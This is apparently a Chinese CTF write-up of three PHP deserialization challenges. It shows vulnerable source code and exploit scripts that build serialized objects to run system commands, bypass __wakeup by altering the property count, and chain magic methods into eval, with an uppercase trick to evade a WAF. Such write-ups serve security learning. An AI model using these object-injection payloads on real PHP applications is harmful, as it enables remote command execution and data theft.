[SWPUCTF 2022 新生赛]1z_unserialize
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
function __destruct()
{
$a = $this->lt;
$a($this->lly);
}
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?>
乍一看确实很简单了,一个命令执行,post传参,析构函数自动调用。
直接上exp
<?php
class lyh{
public $url;
public $lt;
public $lly;
}
$o=new lyh;
$o->lt='system';
$o->lly='cat flag';
echo urlencode(serialize($o));
[SWPUCTF 2022 新生赛]ez_ez_unserialize
<?php
class X
{
public $x = __FILE__;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}
要求传一个x参数,然后看到析构函数可以看文件内容,那么这就是我们的目标了,然后还需要绕过wakeup这个魔数方法,这个魔数方法其实很好绕过,只需要将序列化后的类中的属性数量改掉就行,exp如下:
<?php
class X{
public $x;
}
$o=new X;
$o->x='fllllllag.php';
echo urlencode(serialize($o));
注意将属性数量改掉。
[NISACTF 2022]babyserialize
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
看到这么长代码一开始确实被吓到了,梳理一下
首先能看到NISA
类中有命令执行,那么这里应该就是我们的目标了,这句命令执行是在__invoke()
中的,想要调用它就需要将一个对象当成函数调用,然后我们就可以很快锁定Ilovetxw
类中的__toString()
,想调用这个魔数方法需要将一个对象当成字符串。
有趣的地方来了,一开始不知道NISA
类中的这段代码其实就可以调用__toString()
,那么你就会理出一条超长链子。
public function __wakeup()
{
if($this->fun=="show_me_flag"){ //$this->fun会被当成字符串进行弱类型比较
hint();
}
}
理出的链子如下:
TianXiWei::__wakeup->Ilovetxw::__call()->four::__set()->Ilovetxw::__toString()->NISA::__invoke()
但如果你知道上面的弱类型比较会直接当成字符串进行比较的话就简单了
NISA::__wakeup()->Ilovetxw::__toString()->NISA::__invoke()
但是不要忘了再代码的开头包含了waf.php
并且再注释中也给了提示,会过滤某一些字符,要知道我最大的弱点就是绕过,乖乖去看wp了,但我并没有找到能解释为什么直接用大写绕过的,就当积累了。。。
exp如下:
<?php
class NISA{
public $fun;
public $txw4ever;
}
class Ilovetxw{
public $huang;
public $su;
}
$o=new NISA;
$o->fun=new Ilovetxw;
$o->fun->su=new NISA;
$o->fun->su->txw4ever='SYSTEM("cat /f*");';
echo urlencode(serialize($o));